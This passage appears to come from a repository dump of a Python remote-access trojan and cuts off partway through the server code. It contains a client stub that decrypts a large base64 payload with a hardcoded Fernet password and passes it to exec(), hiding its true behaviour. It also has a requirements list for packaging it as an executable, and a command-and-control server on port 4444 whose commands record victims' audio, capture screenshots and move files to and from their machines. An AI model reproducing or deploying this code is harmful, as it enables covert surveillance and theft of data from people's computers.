=b'gAAAAABfT9zu5xF4ojtZRrwp_r-Gjk4-mPjOicJX010KHid6uLgDjehKvH_ZEFClgX23G9E_J_oILbQf8Xgy-sjfw4PFs2EW6ZyDjlC9cL6LtP8m_ai0XPBxpAC-EhHJ_EFjJFHJM3Zb3oVh61vz1dh44gr6ozlkXQbwu9pDnbJ9fM5fXUqUeQG2yPtSaXLRlYjVK_jHiEW8_n6zk8dUHBt2uf2sWBDl5xK3Uz_2LtXg1G2m8IroxNWQ-hz6v2-x56H6L1W0bNT66OHEBTAyCfWhapfQn9kAojgWibe__-yYXHshGOhl9JKbKMHNd4PT3RTE2DL4wGyuNiBCyYRRL3PR4kXf754KKYYMKv2nyyOFHigj5kxPwDTscUE0N_m3-ZO66hC2FdTF2mdAIKFVXtDifO-GLi3wyqbGpC9VXqy7xmW5mzdxMwhNJuMl2KNguI8Jotb28_2HKEeCpPrZMdw9vYxbzT3v4iJX2wHSnME36mHkmqEASU96sMsQXM08DXVVMxSFWmjsbTYQYSDFmFBIMGvQ55Dm22YyQulhH3bVZMyTMnDQERAMpjz22nUrV5FHN-Yqk7_GLabS83H9QUZ3Yd2WxkWzDyKtT43FjQvrsmFMLFyuk7q76gY1Z_19oFJr3juD5g-2hv6vusXknrptIUqaI4AU1PGw9OXkb7bCaEccKd7tYWQotlgTII8NZa9qv6r6hPBLlojjhzvA1aHtTs2s4Yuf9FMmJXp_OGciGkj9UGpxDMwKbSnPMe1H_0r74vVNOt0byELgZveXaYfs-rs9pJy69nC032JlGPFt8hNveQzoR5web1TMPtBz-p4AhlIkRAx2YmLFQvjupY_ZIf2bpEPCC-Guuu7g23uzPNzlqGWDbh40J-_j9U8lPaXU12t5Fvv34uS3UgRJZyXnIXi4Ih-rqW8eboP38jcMldJfyj2p5U3hKQoPivZDVI7EvMdHUVP_VihoH108sNk82PUdSG1LV6HviSxpYCShedqdl8KDNCu7It3WDSp-cZRudEBB4e0LjOo7hejRKRxU99q8qIxwLw8GRMZTfjvH3_0z3rCRowLnIpGSixDgdcczKCk9zpNvz79gLq_PdF37tMljT_SxaIB7h_qfMrv-LbViOYHynnsmJqtEHnwNxksT9rgGe0LzIr1rwLq6udHU7Ni5U2rXs9Cq7iCff86-lS5n5CyekqqpAmdFa0tFFjPQb4V7fBijOz25TCJSHXv7sSibUg7vyPCGXj7qYkBPjMQrkmDcLeycmQzaBxM1XvzskhZPEnW30XNuLpIxwGzOJvFLCwAovF06Y33ipEAPSvgF7q5mRAapBB9iWTseczrrsyWtMzz_5Rj_qYzcnrPt5nLtMQi8O0kCsnjTc5vf1o8a6pcAni_Zgay-NByWI0ILDceC83coFgn8c1or2Id1P83XBOClX044FLHZorbAJlqZ9XXClBzMLauXN_Ln8zDmk0oPWImvqjQHR9EcYvUXxoUWq-behdKLmzRnduMKNU41Kei0KSnOK2mSefSDao1Eg2ldglW2TM0R4zLh39bbQ3j1IMxv9saHLH8o4Lwk9I_ouQKAe5gDXxvO63wlG5Gdb1drbMJo-d3m6IAe9QvQIzfxg1NQV64CCGf8R12Sw5LzLtM-VbldA7I3GgwmPQxuwYMGkLdlKBxMOs6R70OzlJ1wHxs6S_BB5vIRCyrwqtR8W8VS8kfmdE-6hEAuX2Jq7Q80QHtUEyu9F7SWjZ6gR-D3mK8reT1zzlbHCMn6-OiGY3mg_2HqzX-iWZAfFEP-ccJN2pXqhUTKg3wLixgzqkgBuDk38dKlT9aWDew0LBRHbXWX-myprq5brw0OlmzBZMTXEKCVpz8eKa5CHAeCyt4TjVngPg1ISOX668zLbOgSRSkbVSPGFwZabMT10HgV_kAeu0ID626aMhDue0cmYm6zAx2_iCB1NTlSqkcF9U-B18t1pN5AhKOAA4sUGqwTN1bvnvX9Z7ccKG6jhKrrYnOOQw5fri34jEaM_VPf61H2xw9I9TlFxwP_n4OWnksR91sVm7JHcS5fvTgPf7M7x5adriI5zVgi56trhXo-qXSJD2ECYW07kB__m_sBWDl-3VqPfAdCiHGSBccs73rPgTUenyIPRplbOjS7R5AeR7if_VBCTvPLrUyAwSKm--mOV-RAk59AmZI2RFgkMlmS26zYFkQvUmmb4TsCkdnUCFoRoiKkGWh_hyPMVH6TXFuaDTbp-EzPRMQ44nBHNs0jVs0sEMt7TS_7NcaFY1jVh2PUD_jyzKeA_9Sq0VC5gFenH2mB62e30OO6EBkjs_nFUL-sa7-33QVK65oJTfZBHg8Fkbp6dClF12ly-CgP2bqH_WagbQquvFDpBoqOcJJu1HkZLrzQ3hWGl61capqb61d_2RrBBLPpFUBPEafOAuC1b2-dyNsGOIy75pgRgVYVRSO9YGRoLwaFygzbx4DxCd0DeAsiEIgufws35EAskxqYcuhK_b3GAl8PqpD1E6idk7B0TodaO5nNElH-pYNuG1YuCv19L4izMyOGh5V6av0770mD5Wlsz_aZTVFj6cWA1NqAq4vtDssRZmgBhzYSMFtoZ4Z_aKcLKvX9nZA3284EqEtyPMVlSG1OcmQutu_5gvXZZS3TQqJPuFswlbsNCmBgAlN3KJMkGydyGG7o5qs6G9z6symviMi7zBR38bhwh-sPz2rGKGK60xMRvh9nu7bB3JNoWV5f0hB8FiSkWG2jGPcXI0dxYxrydXGjwmZtvfwMvKz5YbM9INaS_hnOO6ZyleEEKovQqDMRGk6UH4gdsZifzf9Bv2rngy3AF-T-Eq9mvxzvruFE1xNTo7wfeYqs3-hZNOSa_U9IK7uYRm-ME0ubgh7V1Qs9u6u4MekntdCzvKa9nwOMblZAy4N8LWcjX5r6iu6cYqcD_TcB5UPsRQ0C2HJvzQOYPwgp0VXe8qtKQ2HiskuPSxxsSPvTX88dsdnTv2N8nAj9K2E073i09ZQvCS6aUItL9mcquVrgeqk11nxMxrkUm4sIWrcytAWjMhhYLHoUSLKvBR2CCDx3mD3HEsmbAFXDsybxolCPM_9LNtSImAeNpt9JumAo6KEQACbDUCwnKFcUlFN0gKb0Yc_HYMExFO7sAaR4iiKnRrk50hmHMAldtQvcHGRXD4fHtWJHbI8xZOVtxAl4W1PZX9AHh_pKU1D7Pr9WpOyhpPp27iX_odufWWHWgb7MeoEYkPoX2mgJGizdnBapDgx0wmqphXyTY3VxbLsnKlCernQtF_hXP5uVJ7NwknDdNkw__21l6LDpi5eWa4h5RC_DD3ikCbZkpnO2qlWzapoKP8vxFW9nSY2z-sKvDW0BzfWzwG_K_7qNwAeIEear4eMiSfO8URI06EQPpVtlJxeBoOXn4AuOVDXYVLabqqkKAoildwK9oeH1af71spkseDPxaXMdjFMmzuzhMwrxBuBC7SY9IfciE2TrVxcbhLTS4dwe-KVe4qlhykA2zl0GdOYzmOS7Gv8Qefs0XJ4oHMKv-jnyO6PqW517UBokkwPwu_sSusXVKvzss6yTq-JwQyN_WeoFBcjmnX0p7uGEDTK5YdHxo0sDlTiyBxg76st_EsgZNny9eZKPV-PMCqyHj7f3A05CNr2Uu5OMYRZdLczjeKh_ExPAMCZ6u1DKomkeRuroTbc0l_NmWRfNz4_oLBY9f2S-5YpcSmjIKIgzaCvEqmai-g0WeaNP6paEAD0aeV6frCYcJGDAZM0EQFfruLdzysos3q8zHT0L9H9iBbSAn1YUfXdG92zO_CPjOuUHxKBT54FO1MgWXvM426b1QOrvzAo4pOMlvzxSMm_SP1HztIGuvS_6_l2xox-RWCHQv7OVx3kL_gCWVOidZMN8ca5OvDMU5Rs5_LAYpJ7fCX5evu5EWA9bQ1vtQoMCNDcHiEEdA8yd-N1h5Fv2rUGAAi-uxjrO7ZZmuf-XaJBEHBKVpT-9yQBSZGkEZzNFtpA2hPNh3-1O_BL8qG3ioNB0NYi_lFPeEqfTdreqRy0RWq8iC867AEi3Kp7UklCt0Q8PF9PhGVg3VL8Z0SQHG2zcJeW4tgRfj8_WiB1STwvAIHlJlLP2Gu7cGY7UTG649j5IW0OiTBnRH87e374AmZawf-MygMH_cjjFuIBAFTKe5H92kIItKunSDRIV_oa6ezyJNW5In1AnjL685-eYvezcuZNUvIVPaVjiE7noa27eh5q3gZ4l2IKoMdkuAuzpAG2GXFOupQlmR3YLbpnw7OXUlKh_8x5p3zKFMpEv64ePMr7EuPIjkGqr9gWzNa58VxQLxa_h_xyq9u_eic__PgcIKDAMmr5LMJkC_bhq_w1C1AgQ541Mk-6sE_Kc44TwqLoNIngU5GX6hs8zPALw0-4YnmYCt48NLNuUQGzrK0v6OhwzkgmT2XkMRvjr6atoFsSpJI521TVQJDNPjgn1jQ1iNzvDwpB_frMAGfg9-VPTpsepIJJ2FltRPfwwtj8zG7S6ZKtPEzxF3hGnYU_APtOSeoOV7hNXNpcSSKimHwFKg_NE53T_31vLC-DZnyhANp8n6vbKhKwA5qdXVr-10EiAl5k5lPCSP0JjjZDSfWbtAMWyrP8q4KQYbIIfSz5S9xVNSDO2OPZ3CXHz7GVSvdm3imxYI6pSK6pykgouUuHHyerMCaXyhYr9KUeKfbtxBy_PgTxyvodD12wtbBbBEwyoM_lAsQr8qAWWOBgg7jjAg4Crk5qfMsoxwThQSQbFVRZAVIK7WOFnP2Z91pfQJbnjJsGESuhi0ctGjDvjy8fuTGNd0UKOrPhVn3vaP5sRBcwZjFFOQ_Hgs2NSFpA9woPOcYNPGx6v5UaDsG992FLvPrdIOhsYuN7-q8UhrFphuFVjYtsjUxjCMqwrcVfp8souus8Z1KAr-dR5E7OcTOqTy1OvSMIXm3kuWQbXex3a93QhW9o5wquUeYCaM4KMMvvxvKu8HkBuzuMA_rJ201B9Petc4b6_6rwETAIm8XbAI0j8tz6SBHZr0sa7vth2Yu2Ft6K0BsZ1jyIgNPLW_Zs7C2AjEfbmqkwXQNXzM_tLdPclKG1UpU2XjvIlomWCJoYgECbRsBX-tYF_8Hn6iOFsyMNm4GqqGL56S_FzKypcyTnCaY3Yb4GgDBUsFoI78HoWTSLD31TYPPSyjb6wdDg4t7_bwVyuJIfshRC5b0OD2BH3pOvUl4Uqp1wD3Z2IP0d-gQhi9lRVl7bk8DUVui_SIxAWFC57t8BtA_3P-VTvHKy0sURhGEQwuG2nZE2o8XZfW3wgqTUR0Ji_VFqBvHxNgqFINSHcg0GpvAa7vS4WuPJlTHky_QdIbB2F7VF5XZGYL4tigMJDffo3lPXMmhvgInp-WB2x3L77ZwHm35QbkLqPb5lkfjYdGM2OudqrtLZZN87QVk1mg2klNXKbPz_6eVnq3Q9gYy1Qwlr7MNHnC21Fzoy-v1ykg678LSmqbQsDqK9vSxGz2ekKTwLScO5d0vUwL81Nh0LO_qBCT_kowvRdaDaXRd6lZZu-nb9KE7y2L_2AvTvo2TJ6AF0eppi-kfiLyD8wUMXckkrOZgmKsnPwMsHkEeEosdglY1wseNOMdq5Q0B7QiyhuJeny_JCMIqDo-9KDCiNpM2OkAKq1oHCP8NHOWQiVlir1wSK4ue7qas4-M5cS76ep11xw2smt36JQfWZ6e7Graz55iTPhw3uWen-d-oEdGg7a4JA0WIdrZNJtXdl9Vd-c6AT_8yxPBTN0VCZCXA2ZsaknEUSYphL3_s85DtUZmLeK9yF36BkXK7ZomdXXWnUuyvDyumqZOMBh_EXdLBtGpnj7S25IBPESi7eCS9dARRasUKNdc4kEGrVTeRsNntUA8bRmEJi3OdBJWUr8HeIkVWi2GmxoONo0Kc3SVyp4bizrwaY8j5ujtHzseEvK_G181oqKr-2UDjntB-qN_xXbuy3_USPFsRFaOFlKc9jIEr7bOJJ6o0BAUZRuqHEVGraUkC9UCtfcC-O_g0hZQv7SHbL4thMOELJSRRkMxZhDuLFeHxGnXw4SUoz1vHz6FgGEZlFQxMT93JLF1h2UvEbbSh_bwYdzeibK3VTVpyPC6JdJA8GTkcIsovxLR07GOXlcUS0FkNiOiYkAbBSBrxFH2Li8EFGZM4RCp6q5IcbL48ESy6AFLO1OAv7NBCBR_a-OZahS7oAOyo0x9S3Y584QTg9NTAy4CVHMg-LPzlKJtdnWPG2VyZy8lgmIl5_gaLf9jBhmcOv2TMXsf8KRBHhVhTUQK4TkAocPIDJm2ctc9yVzBCOghMelDAiQZ-4y96izmqTCv6wADeE3TQE_DG1bNXoCgthxoTwqlwjq9-HFscYX8ohTDWtFQ8RxfOYtGstxDw3yh69GCu8rQwe9eehAhKd7RGFzhmSPFT_zL5Xzt0Ifi5qSAaVgiczTCOyFBXWvM46sdhdLVwPFxmKJ9ghfABZH5cLHC-AJNOkpa1cKiU87ylFpSfeJB8PK30eX4RMRTU0RTFJaR5tCdyNmlYeRIpnRbtebmqE20Og9NuFvw1uZa5H7mMqPrSS2PnaFo2S5haSjOP531-YHc-V_Z4x_TX31sdt8wZ85HYVTqH6000JELzFSFSpyPzJn84mBO9mei7RNWCboWh7jJR4HyWDoAUZZKZSbJO8sVQALql8ykvNRllIHYs-sMbdWkc8UCCpJ2HJQS4AAyGPEAgYXIn-qrg9ANVzi0eIiYrj-V8p-L_TXBYoC71xIwr4XEcKU9ImS8AqRSJ-yQbs-kEqNiWq5_HZ-Ce9Fd0b2dSZVjF-Qm4-8wrPL0oUmXC-UKavqWkpYYyZesWOQLJS1QBIItUmHmVFxwj6TJF839MXuFCaGrncBpYXNnEjN65n4g5Bsezyit6TUImTEkYOWLJZdHTcYUkBRYHQKsWnrko3NtHp3aLUg-6yNS6uInbS0It9STIpa2072Hzm8pfkuOIMgt_Hr1JqQzFjTZOabLb3t_SmUaF4u2-Hi8E-4V_uhB1z-bRHGIILBZyZ-p3VAgVu9WZRS1t8J-xfz720HNY9A9HvqjaQobumyBB27USkgjujyfQNFlA_iweAMPic8kP_krvmqdQn-1b30i8CNbPQqkoKEZMQYhZ_boF2EayUcWGvfJB71nazhnegA1avYQuw3XjGpWKL8Qib0asPrJq8IBQovReDUhACI74ecHQ7CDFpLxpvIPCI_aUOSXnmLtTvInMtcZ0uluggvRnlcjoyZOY1Oh42w_32m5HHsaE4ULD3x-g82xMjHtJ0tRcrdvA7UQPS8ZZF2qmyz9mU5DNeGZsOwdIHekL0snroMQ10BNbvaML--_8wMA6beplLef1XB9Pur1cJcfzboq3TQ31jdEax13_TtJXPXhmjJnEN8MjTioB7ysBSUDJmrU6tF3Hs_Q5KbF6E8u7M1sVn2V0OSznTyQwT8fGpStSdIJ2WVH6desCKegIkM412XC4tswH0UDrKD7YbZAD5OtQk4g6L6sr1VjJecU_S5lsf0mm1ml5bh48NtwDYErOqtQdP7c7Osgb3fi7jn-XLOzTIoCrsONSyGf8dJQMDOobOKu3B3wPcSczWfDHwNRzQLy-4EWVkFQiwYJlP1BD-GD9OcPqvGHmaBd9bOCdgrEnXuqKmQHOQSVj7G3QJutZg78zMhz1LiNyezIGxouoW3_iLJhPA-0d4HGhxAY7Mq7Co4XIDS3K26T9J3WZ8SKkwUHNa84S5rsS9TLdBb0_F7c7bLOBuobvHykvyJ1iVmwX9YKXEKyQfNSls6AP5HdrNwipG_x2upa8oUXVApT3YdxPV5_pgM0GnQEWtn6Ugxk4yatHWfbqpYc3KxUlQpvTAzMGcPArdVmQgy-6bBVoCUbBUoWrMlz4UzKraV1DI8V4Z6ngW_lFV8mnuqF8qG7sQLFEmQPRIXuxHZ3rvaMJN48McBp8G6UyusMMxAN4inRADanoDEIX-tNNjLvNW3h0_uMOQzKtpcWE2XHH4m5u3xyJHjT1g7euiDfLDdwmwIAiignaNO8s64NxhYG2JGqh08u2Ro5bycXneXIeRUstK7ifgitqOdgSTq8PFOQezKYaLoLShPxDUmq-ipx56uttkD2YjCjxteLgfQegx3aHDKcTvH9umuN4Ayp-ELMo0RcbVIui4Spe8eJHdyq9T-LN3jpslnh59K5HhhfR1MfwhAWyhC7D1RF2bocLbzPIvaWCE4ug2riJ3KfwrwQjHp--Syekl83DztVpyXEYHMi7JVGASZDp2y0hPbo-JBfyT8w8dmMCdKS_NMnZ6rrosKnq_pAGf0RT86sLur0KT0G-jlZwtUpYoAMzZiBsD2YoOIJ1197nyaFeCRH09C7oz4NuNEijjwGL2jIIwvJudMj9ZN6hO7MvGvQ9No3h10NYA5TV4-IqhQrb1kQc9ojCAxl3tN_oeU8T43WZu6LiauInrXikbhRl8l851E3xxNGqJWKmQMgckZjmg-LVADZprvvyYTOoxheMQ14NJuDtBR19-Rkv99l8qcahrWnYddRFoaj7hek45ZwsddNPkxAl9h4KXQHwicMKm4-5hBESBB5IyFms4GUek3FQouEzyKYtZRsQlCPA68AClIwyfeqD6D-iYz-CaVzdO_QViKdEDEFJ3BdPJXBfTrIEdiM2lm0psZlL4wZ38zR2woPCcFikQ1ciKMQUUTeHZac8YabMhKnih7br4TDiNzVfMmpbo4yiLtyFdXYV2C6cpbMPCjY_WbyFvCcO60drXkUJJbU-jP9VPplB8GypJAQdNQ262V8mzHV5fAW4y9jTCVCNspspqu_MAGrSTU8nR9ifam3p_zC_un_UiMX9-PQOa-eOgPEU6Sg8kxKRgTfbS9WGVVqBRLtQbi33bBCKPGs4v1n8gP8CPCMQQJ4Eh4lLBRWMAv-XJ0ufgXVnjgsdzu0mmlwPRrCMG65dGIS49cJL0YPAIHZwFvb_nJsJQh1ZiGJ481pdILD1fdWIyWxiq5jTUGnYCNI7pBQjArQ1_mccZGEmNsPd_4i8oOUXmw8sN1CyBS161ttS5QyM5HQGSZ_6vqfFxwSTtgKirDIZt3YZuAdkXMyXMZG14nlNe07UUUzI_cRZRldIpao6AzyuGmV4CuP2BIpEAwxV34JPsva4FYdTIjW_btlYPjXE5iOLw7cJTSDJMNL_NcHlr-MOujBlv4JEdreRFLTiHRrUlu7Y3fqYjIKbdkjmq8WL9mBj5uVMTFl7jvnFPGHpCfpffQkmTfmeW7t2IwQncdZ0aqZ_s9TUmLu8wDaoqwiH3oAp1M8rNnP0uQCJOAF-MNsZXVRyU6qDf_Ac75et1GmiXmZwAbOimUi91GGJSJ90pX94sIeXweNdGMsYdoG5Fi8u5UNOj6-CCqErRxQLH_of0u2RUQZJ6jVidY6C4klY4BAyItFLt96_AcHcx10coTtR-Z4h6H_l2b7JgaehwFLGWqDqK3yGpjEGmFvpxu90gboyAVQXg8T9l1WN48tDaH9NHNe8D817dQ2d0vVED-3yVMpknOBfkbIXGLyEvMK8tKFODsSQG3ARKw7Ipn_A40YWQV31KnQ9waKxGqH5J_XpDYbHoIqaevzEMNvArLnvgUoW-j9BzLN1grXCTRjTCt2Ic6Sz_GtJchcJgqwWGsoxEwuKR1qqcD1OwPg5w-59NGOJuKijS05URS4dDAWeoMDvkNhDmLeCDevmOLCJj0iwnDhOw0aeHDsX4JLSqMv7265sgGRE1QKeoQD5BOcfUCNKL39sWI0hNa-jo3XO_knpkyuK5JyGL1eEdHG3vUd1nzuBPp7KIwi3SZrdWolfLEMduVRoZJLpO6NbfkiiPhW4tE2r_uGGG0dXa4LvBSm0T4ZrVIvokyeNfI9DuL5_v9r5mwZMG0kOfcxKQLMiXJt4hlTE1ARj71RfsDwiVav_dSAWs3p9FpFwkv_EDRJeiPhTPQstMWR6bip19RTLhRJbQYoJRfBVfj4DMyA6ca0T-rq85h064MFx477I3HB44GuMzwy5HCLXKR0hxEd7NoeGRsg1IWbv_L2qc6TxKk9WjQhpNd-w_zVSE_ODE4sIKCg6AqwWVAjCx-JJP5qGTgu3AonvVxkBJo4wU10yv5f8LbWpvATuiRMatk6osxC3zP39xqDuub31M_ZrhmLqNz_ZdcWR130h50EbUADFWzRYzhTr-gjoAK2IfDPE21n5qI1ZKZMeqLVyjPf-IavhLnX-RPe-ygyJ1C-mfU2lKSah0wflMrfCizybxrZFYqzjp_08H57s8b3_hantYAkkQGs8bKda_luZk86SqzaH1twVbz-wqIRsoNt1ESwUNePy2T0MuIF3rnSGA6sFqhGKSFvHLbQlv1ZBKIarJ0Hx1g2BUrcDpSdTHvuubSpRoeMRcSqsixBGgitiUIpBCmxBNwCtcZmZTQeeD9_NOTrrXRSxFfhX9YVXU1-CpPZfm9D-RAj_2g8SpUkPFgNTxH9w40a8UZ7EtrnlzYWK_f_49YOmQh0RBMX-v5Ga0ZcQG0eE5gifzsC16ZavWqPawhFz7-ZX_9P4m3_t7j7mk4flGbXeKW0CpgS9E-7r8b9GqXOrDj-XuUCw4WEy_B9Fx66TW9IvLHBjEEEUzDHvPAdUP6QGrMzti6RAe98S8SdpXzChJIfokjcQBOdLIKgqw5Kj-c_3sHaGH7pWu_6zuLHyjMGVBBVIKYh0eWG1GhwYc3CPbCe16q7DEk99DUwKNTEmLubaRG-oCbcKSYTvyKkxalIAhN2RgYfRHlbYJ8hfz-DkFHDwVfiShbqZNjtKGMx3a6v65kbMpaw8JAoRoWhyMDvxMMgVqx69F9wPazEQsG9rZ1HbRCCB136xHQhm3sM6-H2Ms8JYPhnexfpwvQSZmIW34hFmZM9M1Zf7OmsvL8ZXi8aL7vWblmWZT0iSK4L1Bkfz5nh8YyEXtZRfrLj6lVtKM27Gus-znyxCzMlz7YWN86jzcMmBY6krkSNQnhYYs_5s_Hbgr_NP5sNVIR4EZSQT6zv9jnHsLBMpzBs-A-GWRIsyEvGsunDqSAUqtuZmuYlnBoF9qnF3VAx7FjIGWYjpfY3mTjENO-A1KASEnuzLTwyH4NzO1NFZXSu0-iqEieGcJz7NZiz9BW59gTim2E3V2CmEzZENKi8-tOygZx4fadQsOtm69mV7huLFzoWtFFzTdc2_zVZ4kcr1Su5omm8pxwRcjsm1xj4jET4tgcaIzMCYZzi0fRQM19b1j-RYy_iV1xKivFDIlW7TBPgU4QmYprV6Rj8UT7pbSO9esh3SOtd8raGUTJ6LJzeeld9hNUf0A6p5YXbuosAtlxQUcGM5q6vOP_f1v-6aaOgTNsdOW_0lUws0yP64LH5iYqLYGYOT5824deRHSsLTtGrV8eFKNiSEW708BQqppLRUDjnDgNhjrP-JhzYRNQeCj4SVOURCRRCpowYejoMHFfVXwqFp9268QiTXHk8eWpQJ4pPMLsQcV5zZdYUtLgqSAwnhsERft5uDfYbhDiGDr7XLMrflqFRBkxPjGTQM7NqKyda3YJ28QUH93ZyjNb-p3CbGsGBuDBslwFYT0kluXNQDtaakSwXH9ehjgEkNnq_JHjHGWNrxVQsdJxQ3mLVX1T2Q1gL3xKJYd52ub97fCYsTKo-55sa3_VpT9krasS4noPYTNe6IFo6hYN61wmnafMHbwwl95F-j76nUN00_3rczOEjiCeS9cv0uhpP6fN5Aclr6_FUzQ4mjTF6jtjCQYcXfRP5rIoa9OWt6hmv4_REJoBuSdeZ5iS90bTobA0yxQChqwbqLE2pCOiGrrNK5ic3TQFptb4nRh5uK7nvwcL0VLN1reMlliSOrezo1jyflwUzdoAXszjQpqFAe-OpCG2Zt2-afumvI_kxjEkefuk_nhwWV5nRkAqKtT8fI14DNeWCjGtOZaXJ6SgepEbdWUEs4LArsybPr7tPtgFJep5pYCIDnED-7YAfEZGzmt5w5QbjuYGK_Y3PXVO2Jlh9AaQaBoSaxcw3D7qn2sp8xlM0FlC4R8P1WZIiqUPrSzq2l48AfpcpbUbwzJvMWDSs54UX5Kf--1QTheuWZcycBWj2YZ150sj7M2uCfau6IJtCpTO8lYCH1_qfCcCeBBiDNfsvLaCj9kH9b3vPMBk-H1HI0HlPWPbuHTVYFRAH3YriktQoPMnSKiMfuP7HBJNiRKFKTZyIG1UpeFZmiH6klDNk57TpVrm8n0teVxcgB2GR3XkLulcukAla7ohzkP3EzWKdPIeDQfJAhDfupOdqJ4n5Z0q1rTweXp6lHU8zrKyxRMXbGij4GnAT4cR-sxbR4fSxdBy2JkAzNH0SKvp0JjUuSeqbeKU9APDaDDsrMLMNLaHZBI7AWntz51VYaxwnN2_GS85yT4uv8vi9WbxwWUG4DMP_SXAABsJ4X_n7SKx8MfB_fMjpRwmEAGCyABVplw5nn_QdN0my7g0Wn9RUvDC2pdIAZn9oHOY1iF0ypARbzSY-6TBsWBY9zlodsi7Pmac0qJU4XsZg3yOnHpkRwusc_3b6UNlaIVsfA2QsnSjhPhAtfratAAm0fF-mjNe33GPKQnKfzX5ZQQR02ONluvwHgul1qaR4ddLY98AGsn2RBBOF_AVue8-GDq71RlhTUjjCB_zZ02eNecTuZdNsiN3l9mCQNpr25_Rj2gkI-dJjR3jsZIEA4gnVvVTkzkmwym-PkBHlTaNCjAiBMDmX5PKxDScXNP5Y-Hu5MSMXm9-bfEC8LhKauO3Zvr-AS5yQ80g9GZ-0gv8AE-ShALC-bKaUH_QMzd4Ys-HG8r1YIjsNVd_gf7ox-3oMEIyM9vSZJJyyUCTkPlDAgFf0SI7J_q5nYkXLepnQv-IWic6TUXmZKeEeVvzpBJgZa1sY4iKVvcSE6r099tueKRmPnj4lbU-tsjhPkGjvevt4_UkpS-mzGX3sYT8f2KwOXWRo0mQAcKdhz1bHnsyDkX_G5Gy0AU-AtYt9FP-2BpbOjJhB-4J5qLFCZIYT9MInNNWi-pZl7wJfXhR6lXrzpY1VmtQ7eRZEDCabMW8gt_i1btlOfeBoqDN8jQsM63AKOfUIbi4byYxZeFwg9LsV0AetTK2IU1V_u809TlM_1YpOWRNdbQhxIuSCcc5uI4uDxMC_prLEOB1jFdKCVnMOJErRBd9KjFkxIJJi6xX-khtpz9JKNmnghO-Dl-5bM3gdgL6t2GPOHYooXQldgEncl5VnUk8vkRj6WKIdq7OUtZkhRoLtGAfyLVLimH_cFDd7jPcjV8aRsT2OcEcpPUy0X2jlfCsDwDZKzMguUMqktzNhek-VUr8qJyC84fjGUz_qnDwWqfuA0Msj-l3sRu8oXxQsNENTSVDObXSx79kdAqHmpEU21Y-ZX7KsJou1rh2q9IRK8HXq9I9BjzljVLi8zpRP1cOXgigt25k_LQd-5Wwkj4ZUL2pYMN9tCFkAGZ-GNGVa-vuK10kN6zH_LP4-48GGg_Y_En0mY0jRmNj861SCfeQFJ6icu60MRGwMIFfWV2cwexPG2b9anP4bwkL6sVyX2bOZmqYuSlukLtOvxR6bzznA9rpt7Ig0J41JSHg-vHQae2oSHTjBQExlXInBwl3GA99eHo92gdIzWIZAXGRufzuE0Fs4oRRZfi5Y4X_AhpxlyFOwGMG7-jIULcNvKfVxATgzytbcuSud1FYkVaWaah-Zx23Ge7ls27Eo_lJ6jBfV3GqG1jb-CcsaIsPMlT6CP7rt9EX4kw0WFLwLPTfr8qsK7rZIi5JlQ2D3_QL_K66zSfM0cCHh5Pnkdyz9QRze-yE-bH4a1cPC_fe4rJlX9Q=' 17 | unbase64 = base64.b64decode(data) 18 | password_provided = "V3ryS3cur3P4ssw0rd" # This is input in the form of a string 19 | password = password_provided.encode() # Convert to type bytes 20 | salt = "SocketProgrammingisCool".encode() # CHANGE THIS - recommend using a key from os.urandom(16), must be of type bytes 21 | kdf = PBKDF2HMAC( 22 | algorithm=hashes.SHA256(), 23 | length=32, 24 | salt=salt, 25 | iterations=100000, 26 | backend=default_backend() 27 | ) 28 | key = base64.urlsafe_b64encode(kdf.derive(password)) 29 | fernet = Fernet(key) 30 | encrypted = fernet.decrypt(unbase64) 31 | real_shit = encrypted.decode() 32 | #print(real_shit) 33 | exec(real_shit) 34 | 35 | 36 | -------------------------------------------------------------------------------- /requirements.txt: -------------------------------------------------------------------------------- 1 | altgraph==0.17 2 | auto-py-to-exe==2.7.8 3 | beautifulsoup4==4.9.1 4 | bottle==0.12.18 5 | bottle-websocket==0.2.9 6 | certifi==2020.6.20 7 | cffi==1.14.2 8 | chardet==3.0.4 9 | cryptography==3.1 10 | docopt==0.6.2 11 | Eel==0.12.4 12 | future==0.18.2 13 | gevent==20.6.2 14 | gevent-websocket==0.10.1 15 | greenlet==0.4.16 16 | idna==2.10 17 | Js2Py==0.70 18 | MouseInfo==0.1.3 19 | packaging==20.4 20 | pefile==2019.4.18 21 | Pillow==7.2.0 22 | pipwin==0.5.0 23 | PyAutoGUI==0.9.50 24 | PyAudio==0.2.11 25 | pycparser==2.20 26 | PyGetWindow==0.0.8 27 | pyinstaller==4.0 28 | pyinstaller-hooks-contrib==2020.7 29 | pyjsparser==2.7.1 30 | PyMsgBox==1.0.8 31 | pyparsing==2.4.7 32 | pyperclip==1.8.0 33 | PyPrind==2.11.2 34 | PyRect==0.1.4 35 | PyScreeze==0.1.26 36 | pySmartDL==1.3.3 37 | PyTweening==1.0.3 38 | pytz==2020.1 39 | pywin32-ctypes==0.2.0 40 | requests==2.24.0 41 | six==1.15.0 42 | soupsieve==2.0.1 43 | tzlocal==2.1 44 | urllib3==1.25.10 45 | whichcraft==0.6.1 46 | zope.event==4.4 47 | zope.interface==5.1.0 48 | -------------------------------------------------------------------------------- /server/server.py: -------------------------------------------------------------------------------- 1 | import socket 2 | import threading 3 | import time 4 | import sys 5 | from queue import Queue 6 | import struct 7 | import signal 8 | import wave 9 | import os 10 | import subprocess 11 | NUMBER_OF_THREADS = 2 12 | JOB_NUMBER = [1, 2] 13 | queue = Queue() 14 | 15 | COMMANDS = {'help':['Shows this help'], 16 | 'list':['Lists connected clients'], 17 | 'select':['Selects a client by its index. Takes index as a parameter'], 18 | 'quit':['Stops current connection with a client. To be used when client is selected'], 19 | 'record ':['Records sound of client till amount of time which you specified'], 20 | 'screenshot ':['Takes a screenshot of client\'s screens'], 21 | 'upload ':['To upload a file to client.'], 22 | 'download ':['To download a file from client.'], 23 | 'shutdown':['Shuts server down'], 24 | } 25 | 26 | class MultiServer(object): 27 | 28 | def __init__(self): 29 | self.host = '' 30 | self.port = 4444 31 | self.socket = None 32 | self.all_connections = [] 33 | self.all_addresses = [] 34 | 35 | def print_help(self): 36 | for cmd, v in COMMANDS.items(): 37 | print("{0}:{1}".format(cmd, v[0])) 38 | return 39 | 40 | def register_signal_handler(self): 41 | signal.signal(signal.SIGINT, self.quit_gracefully) 42 | signal.signal(signal.SIGTERM, self.quit_gracefully) 43 | return 44 | 45 | def quit_gracefully(self, signal=None, frame=None): 46 | print('\nQuitting gracefully') 47 | for conn in self.all_connections: 48 | try: 49 | conn.send(str.encode('quit')) 50 | conn.shutdown(2) 51 | conn.close() 52 | except Exception as e: 53 | print('Could not close connection %s' 